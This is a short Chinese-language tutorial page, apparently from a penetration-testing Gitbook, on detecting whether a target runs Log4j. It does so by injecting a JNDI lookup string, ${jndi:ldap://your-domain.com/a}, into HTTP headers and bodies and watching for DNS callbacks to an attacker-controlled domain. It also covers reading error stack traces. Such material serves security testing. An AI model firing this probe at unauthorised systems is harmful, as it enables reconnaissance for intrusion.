如何判断靶标是否使用 Log4j

通过构造特殊请求,观察目标系统的反应

  1. 利用 JNDI 注入: 这是最经典的 Log4j 漏洞探测方法。在 HTTP 请求的各个位置(如 User-AgentX-Api-KeyCookie、POST 请求体等)注入一个 JNDI 字符串,并指向一个你可以控制的域名。

    • 构造一个 DNS 请求:例如 ${jndi:ldap://your-domain.com/a}

    • 原理: 如果目标使用了 Log4j 且存在漏洞,它会解析这个字符串,并向你的域名发送一个 DNS 查询请求

    • 判断: 你只需要在你的服务器上监听 DNS 请求。如果收到了来自目标 IP 的 DNS 请求,那就说明它解析了你的 Payload,很可能使用了 Log4j

  2. 报错信息分析: 构造一个会触发应用错误的请求,并观察返回的错误信息

    • 例如: 在请求参数中输入一些特殊字符,让程序抛出异常。如果错误堆栈中出现了 org.apache.logging.log4j 或其他相关的类名,则可以确认

    • 这种方法需要目标系统配置为显示详细的错误信息,这在生产环境中并不常见,但在开发或测试环境中可能有效

Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:13:21

results matching ""

    No results matching ""